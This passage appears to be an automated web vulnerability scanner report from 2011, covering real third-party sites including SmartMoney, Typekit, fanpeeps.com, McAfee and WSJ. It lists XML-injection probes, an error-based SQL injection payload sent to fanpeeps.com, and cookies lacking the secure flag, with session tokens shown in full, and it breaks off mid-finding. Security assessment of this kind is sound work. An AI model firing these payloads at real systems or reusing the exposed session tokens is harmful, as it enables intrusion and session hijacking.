Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Age: 1
Content-Type: application/xml
Date: Sat, 14 May 2011 10:24:04 GMT
Server: AmazonS3
Via: 1.1 varnish
x-amz-id-2: LMASUvA9xqWd9Xnf1/zXOv45EJOBy37n8JcfNJzSDCTJDToYtnIlhGMFRVDoeDx1
x-amz-request-id: EC2B9F487EE2C38A
X-Varnish: 585717584 585717572
Content-Length: 346
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchKey</Code><Message>The specified key does not exist.</Message><Key>customer-assets/smartmoney.onespot.com/static/nextclick]]>>/content_e
...[SNIP]...

8.6. http://smartmoney.onespot.com/static/nextclick/content_exchange.html [REST URL parameter 3] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://smartmoney.onespot.com
Path:	/static/nextclick/content_exchange.html

Issue detail

The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /static/nextclick/content_exchange.html]]>>?layout=vertical HTTP/1.1
Host: smartmoney.onespot.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Age: 1
Content-Type: application/xml
Date: Sat, 14 May 2011 10:24:27 GMT
Server: AmazonS3
Via: 1.1 varnish
x-amz-id-2: nBRkFiHfnGBts9WWZLzlz1TVPlQ+IsOQNdIc4QMd3FD2XEe5cwtow1Iy4024SzEX
x-amz-request-id: 46E431DD5684C561
X-Varnish: 1066832527 1066832508
Content-Length: 346
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>NoSuchKey</Code><Message>The specified key does not exist.</Message><Key>customer-assets/smartmoney.onespot.com/static/nextclick/content_exchange.ht
...[SNIP]...

8.7. http://use.typekit.com/k/uhh2the-e.css [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://use.typekit.com
Path:	/k/uhh2the-e.css

Issue detail

Request

GET /k]]>>/uhh2the-e.css?3bb2a6e53c9684ffdc9a9aff195b2a62452a13f44e7d614e144260140418f8599437ff183a708238bcfb174872bbd6fc305594aaa3798daf2e466ac30c13dd658f9aec227cbe4b19b8d7ff3ab1f5c91d5060f77f3db7cd5f9a092654a1 HTTP/1.1
Host: use.typekit.com
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/?zone=intromessage
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Cache-Control: max-age=300
Content-Type: text/html
Date: Sat, 14 May 2011 10:19:18 GMT
Expires: Sat, 14 May 2011 10:24:16 GMT
Server: EOS (lax001/54D9)
Content-Length: 345

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.8. http://use.typekit.com/k/uhh2the-e.css [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://use.typekit.com
Path:	/k/uhh2the-e.css

Issue detail

Request

GET /k/uhh2the-e.css]]>>?3bb2a6e53c9684ffdc9a9aff195b2a62452a13f44e7d614e144260140418f8599437ff183a708238bcfb174872bbd6fc305594aaa3798daf2e466ac30c13dd658f9aec227cbe4b19b8d7ff3ab1f5c91d5060f77f3db7cd5f9a092654a1 HTTP/1.1
Host: use.typekit.com
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/?zone=intromessage
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Cache-Control: max-age=300
Content-Type: text/html
Date: Sat, 14 May 2011 10:19:18 GMT
Expires: Sat, 14 May 2011 10:24:18 GMT
Server: EOS (lax001/54D6)
Content-Length: 345

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

9. SQL statement in request parameter previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://fanpeeps.com
Path:	/

Issue description

The request appears to contain SQL syntax. If this is incorporated into a SQL query and executed by the server, then the application is almost certainly vulnerable to SQL injection.

You should verify whether the request contains a genuine SQL query and whether this is being executed by the server.

Issue remediation

The application should not incorporate any user-controllable data directly into SQL queries. Parameterised queries (also known as prepared statements) should be used to safely insert data into predefined queries. In no circumstances should users be able to control or modify the structure of the SQL query itself.

Request

GET /?action=page&pid=%27%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B%27&page=contact HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.8.10.1305376380

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:42:18 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 22391

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...

10. SSL cookie without secure flag set previous next
There are 8 instances of this issue:

https://home.mcafee.com/WebServices/AccountWebSvc.asmx/js
https://home.mcafee.com/secure/cart/
https://order.wsj.com/sub/f3
https://order.wsj.com/sub/f3/cookie_check
https://order.wsj.com/sub/f3/offer_form
https://order.wsj.com/sub/xdef/101/6BCWAE_OOT10
https://order.wsj.com/sub/xdef/113/6BFWA1_OOT
https://services.wsj.com/Gryphon/jsp/find_acct.jsp

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

10.1. https://home.mcafee.com/WebServices/AccountWebSvc.asmx/js previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://home.mcafee.com
Path:	/WebServices/AccountWebSvc.asmx/js

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

session%5Fdata=%3cSessionData%3e%0d%0a++%3cOrganicSearchtraffic%3e1%3c%2fOrganicSearchtraffic%3e%0d%0a++%3cwt_source_cid%3e86873%3c%2fwt_source_cid%3e%0d%0a++%3cwt_destination_cid%3e86873%3c%2fwt_destination_cid%3e%0d%0a++%3ctempfrlu%3e%3c%2ftempfrlu%3e%0d%0a%3c%2fSessionData%3e; domain=mcafee.com; path=/; HttpOnly
SessionInfo=AffiliateId=0&CampaignId=86873; path=/
SessionInfo=AffiliateId=0&CampaignId=86873; path=/
SessionInfo=AffiliateId=0&CampaignId=86873; path=/
lUsrCtxSession=%3cUserContext%3e%3cAffID%3e0%3c%2fAffID%3e%3cAffBuildID%3e0%3c%2fAffBuildID%3e%3c%2fUserContext%3e; domain=mcafee.com; path=/; HttpOnly
Locale=EN-US; domain=mcafee.com; expires=Fri, 14-May-2021 12:54:53 GMT; path=/; HttpOnly
HPrst=gu=22a3c062-a3d0-4f46-9ecc-f8de804c3864&loc=EN-US; domain=mcafee.com; expires=Fri, 14-May-2021 12:54:53 GMT; path=/; HttpOnly
HRntm=vkey=%2fmK8BFW1DIsE11QFf%2bmOuQ%3d%3d&aff=0-0&cur=56&cid=86873&lbu=http%3a%2f%2fhome.mcafee.com%2fsecure%2fcart%2f%3fofferId%3d266730%26PkgQty%3d1&pfl=UjYffYeSjxhItgwf9DZxCQ%3d%3d&ps=ebf977ddd14dbd5fd1eb165277c3f80b5b414d5f550b0217&pple=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&inur=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&isr=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&sbo=iq5nNK%2bISQc78yUmSkAv9A%3d%3d; domain=mcafee.com; path=/; HttpOnly
IscartemptySiteidAffid=no-1-0; domain=mcafee.com; path=/

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /WebServices/AccountWebSvc.asmx/js HTTP/1.1
Host: home.mcafee.com
Connection: keep-alive
Referer: https://home.mcafee.com/secure/cart/?offerId=266730&PkgQty=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E73DAF051D3563-4000012900019997[CE]; campaignid=86873; session%5Fdata=%3cSessionData%3e%0d%0a++%3cOrganicSearchtraffic%3e1%3c%2fOrganicSearchtraffic%3e%0d%0a++%3cwt_source_cid%3e86873%3c%2fwt_source_cid%3e%0d%0a++%3cwt_destination_cid%3e86873%3c%2fwt_destination_cid%3e%0d%0a++%3ctempfrlu%3e%3c%2ftempfrlu%3e%0d%0a%3c%2fSessionData%3e; SiteID=1; langid=1; SessionInfo=AffiliateId=0&CampaignId=86873; lBounceURL=http://home.mcafee.com/secure/cart/?offerId=266730&PkgQty=1; lUsrCtxSession=%3cUserContext%3e%3cAffID%3e0%3c%2fAffID%3e%3cAffBuildID%3e0%3c%2fAffBuildID%3e%3c%2fUserContext%3e; Locale=EN-US; HPrst=gu=22a3c062-a3d0-4f46-9ecc-f8de804c3864&loc=EN-US; AffID=0-0; Currency=56; HRntm=vkey=%2fmK8BFW1DIsE11QFf%2bmOuQ%3d%3d&aff=0-0&cur=56&cid=86873&lbu=http%3a%2f%2fhome.mcafee.com%2fsecure%2fcart%2f%3fofferId%3d266730%26PkgQty%3d1&pfl=UjYffYeSjxhItgwf9DZxCQ%3d%3d&ps=ebf977ddd14dbd5fd1eb165277c3f80b5b414d5f550b0217&pple=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&inur=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&isr=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&sbo=iq5nNK%2bISQc78yUmSkAv9A%3d%3d; IscartemptySiteidAffid=no-1-0

Response

HTTP/1.1 200 OK
Cache-Control: public
Content-Type: application/x-javascript; charset=utf-8
Expires: Wed, 12 May 2010 13:43:47 GMT
Last-Modified: Thu, 12 May 2011 13:43:47 GMT
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: session%5Fdata=%3cSessionData%3e%0d%0a++%3cOrganicSearchtraffic%3e1%3c%2fOrganicSearchtraffic%3e%0d%0a++%3cwt_source_cid%3e86873%3c%2fwt_source_cid%3e%0d%0a++%3cwt_destination_cid%3e86873%3c%2fwt_destination_cid%3e%0d%0a++%3ctempfrlu%3e%3c%2ftempfrlu%3e%0d%0a%3c%2fSessionData%3e; domain=mcafee.com; path=/; HttpOnly
Set-Cookie: SiteID=1; domain=mcafee.com; expires=Fri, 14-May-2021 12:54:53 GMT; path=/; HttpOnly
Set-Cookie: langid=1; domain=mcafee.com; expires=Tue, 14-May-2041 12:54:53 GMT; path=/; HttpOnly
Set-Cookie: SessionInfo=AffiliateId=0&CampaignId=86873; path=/
Set-Cookie: SessionInfo=AffiliateId=0&CampaignId=86873; path=/
Set-Cookie: SessionInfo=AffiliateId=0&CampaignId=86873; path=/
Set-Cookie: lUsrCtxSession=%3cUserContext%3e%3cAffID%3e0%3c%2fAffID%3e%3cAffBuildID%3e0%3c%2fAffBuildID%3e%3c%2fUserContext%3e; domain=mcafee.com; path=/; HttpOnly
Set-Cookie: Locale=EN-US; domain=mcafee.com; expires=Fri, 14-May-2021 12:54:53 GMT; path=/; HttpOnly
Set-Cookie: HPrst=gu=22a3c062-a3d0-4f46-9ecc-f8de804c3864&loc=EN-US; domain=mcafee.com; expires=Fri, 14-May-2021 12:54:53 GMT; path=/; HttpOnly
Set-Cookie: AffID=0-0; domain=mcafee.com; path=/; HttpOnly
Set-Cookie: Currency=56; domain=mcafee.com; path=/; HttpOnly
Set-Cookie: HRntm=vkey=%2fmK8BFW1DIsE11QFf%2bmOuQ%3d%3d&aff=0-0&cur=56&cid=86873&lbu=http%3a%2f%2fhome.mcafee.com%2fsecure%2fcart%2f%3fofferId%3d266730%26PkgQty%3d1&pfl=UjYffYeSjxhItgwf9DZxCQ%3d%3d&ps=ebf977ddd14dbd5fd1eb165277c3f80b5b414d5f550b0217&pple=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&inur=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&isr=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&sbo=iq5nNK%2bISQc78yUmSkAv9A%3d%3d; domain=mcafee.com; path=/; HttpOnly
Set-Cookie: IscartemptySiteidAffid=no-1-0; domain=mcafee.com; path=/
X-Powered-By: ASP.NET
MS: SJV3
X-UA-Compatible: IE=8
Date: Sat, 14 May 2011 12:54:53 GMT
Content-Length: 4551

Type.registerNamespace('McAfee.WebServices');
McAfee.WebServices.AccountWebSvc=function() {
McAfee.WebServices.AccountWebSvc.initializeBase(this);
this._timeout = 0;
this._userContext = null;
thi
...[SNIP]...

10.2. https://home.mcafee.com/secure/cart/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://home.mcafee.com
Path:	/secure/cart/

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

session%5Fdata=%3cSessionData%3e%0d%0a++%3cOrganicSearchtraffic%3e1%3c%2fOrganicSearchtraffic%3e%0d%0a++%3cwt_source_cid%3e86873%3c%2fwt_source_cid%3e%0d%0a++%3cwt_destination_cid%3e86873%3c%2fwt_destination_cid%3e%0d%0a++%3ctempfrlu%3e%3c%2ftempfrlu%3e%0d%0a%3c%2fSessionData%3e; domain=mcafee.com; path=/; HttpOnly
SessionInfo=AffiliateId=0&CampaignId=86873; domain=mcafee.com; path=/; HttpOnly
SessionInfo=AffiliateId=0&CampaignId=86873; domain=mcafee.com; path=/; HttpOnly
SessionInfo=AffiliateId=0&CampaignId=86873; domain=mcafee.com; path=/; HttpOnly
lUsrCtxSession=%3cUserContext%3e%3cAffID%3e0%3c%2fAffID%3e%3cAffBuildID%3e0%3c%2fAffBuildID%3e%3c%2fUserContext%3e; domain=mcafee.com; path=/; HttpOnly
lBounceURL=http://home.mcafee.com/secure/cart/?offerId=266730&PkgQty=1; domain=mcafee.com; path=/; HttpOnly
Locale=EN-US; domain=mcafee.com; expires=Fri, 14-May-2021 12:54:41 GMT; path=/; HttpOnly
HPrst=gu=79306942-b6cc-4186-914e-879f3f82a9b0&loc=EN-US; domain=mcafee.com; expires=Fri, 14-May-2021 12:54:41 GMT; path=/; HttpOnly
HRntm=vkey=TEayqYmK%2fG%2bgq%2bzYb3K%2fLw%3d%3d&aff=0-0&cur=56&cid=86873&lbu=http%3a%2f%2fhome.mcafee.com%2fsecure%2fcart%2f%3fofferId%3d266730%26PkgQty%3d1&pfl=UjYffYeSjxhItgwf9DZxCQ%3d%3d&ps=715afff7d236f3dfa4dd1e1d4940c8e15b414d5f550b0211&pple=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&inur=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&isr=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&sbo=iq5nNK%2bISQc78yUmSkAv9A%3d%3d; domain=mcafee.com; path=/; HttpOnly
IscartemptySiteidAffid=no-1-0; domain=mcafee.com; path=/

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /secure/cart/?offerId=266730&PkgQty=1 HTTP/1.1
Host: home.mcafee.com
Connection: keep-alive
Referer: http://promos.mcafee.com/offer.aspx?id=266730
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E73DAF051D3563-4000012900019997[CE]; campaignid=86873; SiteID=1; langid=1; lBounceURL=http%3A%2F%2Fus%2Emcafee%2Ecom%2Froot%2Fbasket%2Easp%3Faffid%3D0%26langid%3D1%26cid%3D86873; lUsrCtxSession=%3CUserContext%3E%3CAffID%3E0%3C%2FAffID%3E%3C%2FUserContext%3E%0D%0A; Locale=en%2Dus; AffID=0; session%5Fdata=%3CSessionData%3E%3COrganicSearchtraffic%3E1%3C%2FOrganicSearchtraffic%3E%3Cwt%5Fsource%5Fcid%3E86873%3C%2Fwt%5Fsource%5Fcid%3E%3Cwt%5Fdestination%5Fcid%3E86873%3C%2Fwt%5Fdestination%5Fcid%3E%3C%2FSessionData%3E%0D%0A

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: session%5Fdata=%3cSessionData%3e%0d%0a++%3cOrganicSearchtraffic%3e1%3c%2fOrganicSearchtraffic%3e%0d%0a++%3cwt_source_cid%3e86873%3c%2fwt_source_cid%3e%0d%0a++%3cwt_destination_cid%3e86873%3c%2fwt_destination_cid%3e%0d%0a++%3ctempfrlu%3e%3c%2ftempfrlu%3e%0d%0a%3c%2fSessionData%3e; domain=mcafee.com; path=/; HttpOnly
Set-Cookie: SiteID=1; domain=mcafee.com; expires=Fri, 14-May-2021 12:54:41 GMT; path=/; HttpOnly
Set-Cookie: langid=1; domain=mcafee.com; expires=Tue, 14-May-2041 12:54:41 GMT; path=/; HttpOnly
Set-Cookie: SessionInfo=AffiliateId=0&CampaignId=86873; domain=mcafee.com; path=/; HttpOnly
Set-Cookie: SessionInfo=AffiliateId=0&CampaignId=86873; domain=mcafee.com; path=/; HttpOnly
Set-Cookie: SessionInfo=AffiliateId=0&CampaignId=86873; domain=mcafee.com; path=/; HttpOnly
Set-Cookie: lBounceURL=http://home.mcafee.com/secure/cart/?offerId=266730&PkgQty=1; domain=mcafee.com; path=/; HttpOnly
Set-Cookie: lUsrCtxSession=%3cUserContext%3e%3cAffID%3e0%3c%2fAffID%3e%3cAffBuildID%3e0%3c%2fAffBuildID%3e%3c%2fUserContext%3e; domain=mcafee.com; path=/; HttpOnly
Set-Cookie: Locale=EN-US; domain=mcafee.com; expires=Fri, 14-May-2021 12:54:41 GMT; path=/; HttpOnly
Set-Cookie: HPrst=gu=79306942-b6cc-4186-914e-879f3f82a9b0&loc=EN-US; domain=mcafee.com; expires=Fri, 14-May-2021 12:54:41 GMT; path=/; HttpOnly
Set-Cookie: AffID=0-0; domain=mcafee.com; path=/; HttpOnly
Set-Cookie: Currency=56; domain=mcafee.com; path=/; HttpOnly
Set-Cookie: HRntm=vkey=TEayqYmK%2fG%2bgq%2bzYb3K%2fLw%3d%3d&aff=0-0&cur=56&cid=86873&lbu=http%3a%2f%2fhome.mcafee.com%2fsecure%2fcart%2f%3fofferId%3d266730%26PkgQty%3d1&pfl=UjYffYeSjxhItgwf9DZxCQ%3d%3d&ps=715afff7d236f3dfa4dd1e1d4940c8e15b414d5f550b0211&pple=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&inur=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&isr=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&sbo=iq5nNK%2bISQc78yUmSkAv9A%3d%3d; domain=mcafee.com; path=/; HttpOnly
Set-Cookie: IscartemptySiteidAffid=no-1-0; domain=mcafee.com; path=/
X-Powered-By: ASP.NET
MS: SJV8
X-UA-Compatible: IE=8
Date: Sat, 14 May 2011 12:54:40 GMT
Content-Length: 31052

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html id="ctl00_htmldom" xmlns="http://www.w3.org/1999/xhtml" dir="ltr"
...[SNIP]...

10.3. https://order.wsj.com/sub/f3 previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://order.wsj.com
Path:	/sub/f3

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

_1pagesub_session_id=3350d918d094bb4ca13e51f2f0319341; path=/; expires=Sat, 14 May 2011 10:39:50 GMT

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sub/f3 HTTP/1.1
Host: order.wsj.com
Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/interactive.wsj.com/weekend;u=;!category=;;mc=b2pfreezone;tile=1;sz=377x50;ord=6698669866986698;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; promo_code=6BFWA1_OOT; rsi_csl=; rsi_segs=; _1pagesub_session_id=3350d918d094bb4ca13e51f2f0319341

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:50 GMT
Server: Mongrel 1.0.1
Set-Cookie: _1pagesub_session_id=3350d918d094bb4ca13e51f2f0319341; path=/; expires=Sat, 14 May 2011 10:39:50 GMT
Status: 200 OK
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 15646
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta http-equiv="Content-Type"
...[SNIP]...

10.4. https://order.wsj.com/sub/f3/cookie_check previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://order.wsj.com
Path:	/sub/f3/cookie_check

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

_1pagesub_session_id=3350d918d094bb4ca13e51f2f0319341; path=/; expires=Sat, 14 May 2011 10:39:49 GMT

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sub/f3/cookie_check HTTP/1.1
Host: order.wsj.com
Connection: keep-alive
Referer: http://ad.doubleclick.net/adi/interactive.wsj.com/weekend;u=;!category=;;mc=b2pfreezone;tile=1;sz=377x50;ord=6698669866986698;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; rsi_csl=; rsi_segs=; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; promo_code=6BFWA1_OOT; _1pagesub_session_id=3350d918d094bb4ca13e51f2f0319341

Response

HTTP/1.1 302 Moved Temporarily
Date: Sat, 14 May 2011 10:09:49 GMT
Server: Mongrel 1.0.1
Set-Cookie: _1pagesub_session_id=3350d918d094bb4ca13e51f2f0319341; path=/; expires=Sat, 14 May 2011 10:39:49 GMT
Status: 302 Found
Location: https://order.wsj.com/sub/f3
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 94
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC

<html><body>You are being <a href="https://order.wsj.com/sub/f3">redirected</a>.</body></html>

10.5. https://order.wsj.com/sub/f3/offer_form previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://order.wsj.com
Path:	/sub/f3/offer_form

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

